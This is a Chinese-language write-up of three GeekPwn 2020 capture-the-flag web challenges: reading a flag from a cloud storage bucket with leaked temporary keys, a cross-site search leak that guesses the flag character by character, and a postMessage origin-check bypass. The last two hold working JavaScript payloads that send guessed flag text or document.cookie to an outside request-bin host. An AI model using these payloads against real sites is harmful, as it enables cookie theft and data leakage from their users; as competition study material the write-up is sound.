GeekPwn 2020 云靶场线上赛部分Web Writeup

cosplay! 2020 | Done

js使用腾讯cos:https://cloud.tencent.com/document/product/436/11459
广告题
获取key:http://183.60.136.230:19824/GetTempKey

利用key查询cos里的文件,下载文件

var COS = require('cos-nodejs-sdk-v5');
var fs = require('fs');
var fetch = require('node-fetch');

var Bucket = '933kpwn-1253882285';
var Region = 'ap-shanghai';

var cos = new COS({
    getAuthorization: async function (options, callback) {
        // 异步获取临时密钥
        var resp = await fetch('http://183.60.136.230:19824/GetTempKey?path=/upload')
        var data = await resp.json()
        var credentials = data.Credentials;
        callback({
            TmpSecretId: credentials.TmpSecretId,
            TmpSecretKey: credentials.TmpSecretKey,
            XCosSecurityToken: credentials.Token,
            ExpiredTime: data.ExpiredTime,
        });
    }
});

cos.getBucket({
    Bucket: Bucket,
    Region: Region,
    Prefix: '', // 此处置空
}, function(err, data) {
    console.log(err || data.Contents);
});

cos.getObject({
    Bucket: Bucket,
    Region: Region,
    Key: 'f1L9@/flag.txt',
    Output: fs.createWriteStream('./flag.txt'),
}, function(err, data) {
    console.log(err || data);
});
  • 同一次初始化的key在这一次的所有调用中都能用
  • 扫目录的时候把Prefix置空能看到根目录下的所有东西
  • 找比赛开始之前传上去的东西就好了

解2(工具人做法)

根据
https://cloud.tencent.com/document/product/436/14048
访问http://183.60.136.230:19824/GetTempKey 获取TmpSecretId,TmpSecretKey和Token,在下面这个网站生成Authorization
https://cos5.cloud.tencent.com/static/cos-sign/
拿到Authorization和Token后
根据 https://cloud.tencent.com/document/product/436/7734
写请求头

GET / HTTP/1.1
Host: 933kpwn-1253882285.cos.ap-shanghai.myqcloud.com
Date: Sun Jul 12 02:05:36 GMT 2020
x-cos-security-token:U0QzJZRTXNXxJK26axkoD7w3onhBSd9Lcb759da1ccfb52d811387baa97772197WB2f9AcVi5nXwrpQ8vN_tBr9xLV9D9cjA-kFCKrMK_dOEuW9Wqfaa6F2Q3YM4oMiXVtCIwnZbcres7Hrwvxo40m1eUSYl-1dqH_2LuFF7ctL7qOLgU8Wprd06ieyc4cEPzAq-R8S4NPxw4JFJm7ou1A1v9BFO0zfeimGDie_2eOjJwUOafhwpgS_spEGIe1AHZj0rsOuHaVQP16JB9A1hG0-bm6Rf9uHzHmsa_0FJj3g4NyJ3EQpuc7QOBy264LRo0T-Agc8GK_JL4279BnT_HGN2gSG52NyW8SynB8oneS4zPuYzllRrM0eEkjAVyrJwIib6NYvCVpUWheyc4xPJ-w6T6msuQSV_aiTd1UGgDU
Authorization: q-sign-algorithm=sha1&q-ak=AKIDcF8No448K2m2CFHN_8m2XCmPfm3QuLrIT38AOxK93tQt-LByRtWtyXV8sKK7pzcP&q-sign-time=1594520260;1594523860&q-key-time=1594520260;1594523860&q-header-list=&q-url-param-list=&q-signature=dbd582c8e7fbf37c2615e9f5476a0375471cb9f1
Connection: close

Response里找到/f1L9@/flag.txt

noXSS 2020 | Done

主要是要解决X-Frame-Options: sameorigin,没法用iframe去套它,也就是说必须得在一个域内向它发请求,况且没有Access-Control-Allow-Origin

常见的绕过跨域问题的jsonp

虽然会因为CORB读不到内容,但script也可以有onload/onerror,会根据是否成功加载(状态码200)去触发

可能是非预期,但是又不像

<body></body>
<script>
    var d = '1234567890-abcdefghijklmnopqrstuvwxyz}';
    var body = document.getElementsByTagName('body')[0];
    function app(c) {
        body.innerHTML = "";
        fetch('https://bin.frankli.site/1juc9uq1/?flag=' + c)
        for (var i in d) {
            var s = document.createElement('script');
            s.str = c + d[i];
            // 前段时间刚在bbs上给人讲过闭包然后我自己就被闭包坑了
            s.onload = function () { app(this.str) }
            s.src = 'http://noxss2020.cal1.cn:3000/search?keyword=' + encodeURIComponent(s.str)
            body.appendChild(s);
        }
    }
    app('flag{');
</script>

umsg | Done

通过仔细观察vue的源码可以发现,index中监听了message事件

mounted: function() {
    window.addEventListener("message", (function(e) {
        if (e.origin.match("http://umsg.iffi.top"))
            switch (e.data.action) {
                 case "append":
                     return void (document.getElementsByTagName("main")[0].innerHTML += e.data.payload);
                 case "debug":
                     return void console.log(e.data.payload);
                 case "ping":
                     return void e.source.postMessage("pong", "*")
            }
        }
    ), !1),
    postMessage({action: "ping"})
}

查阅MDN,postMessage可以在window之间传递消息,而这个监听器根据事件的内容可以向DOM添加任意内容。
唯一的限制是域名,然而没有加斜杠,可以用子域名过

<!-- 部署于http://umsg.iffi.top.自己的域名/ -->
<iframe src="http://umsg.iffi.top:3000/" id="w1ndnb"></iframe>
<script>
    let w1ndnb = document.getElementById('w1ndnb')
    // onload貌似会碰到一些关于vue lifecycle的问题
    setTimeout(function() {
            fetch('http://bin.frankli.site/1iaxqqh1/iframe_loaded')
            w1ndnb.contentWindow.postMessage({
                    action:"append",
                    payload:"<img src='http://asdf' onerror='location.href=`http://bin.frankli.site/1iaxqqh1/?cookie=`+document.cookie'</img>"
            }, '*');
    }, 1000);
</script>
tagged by none  

Comment Closed.

© 2014 ::L Team::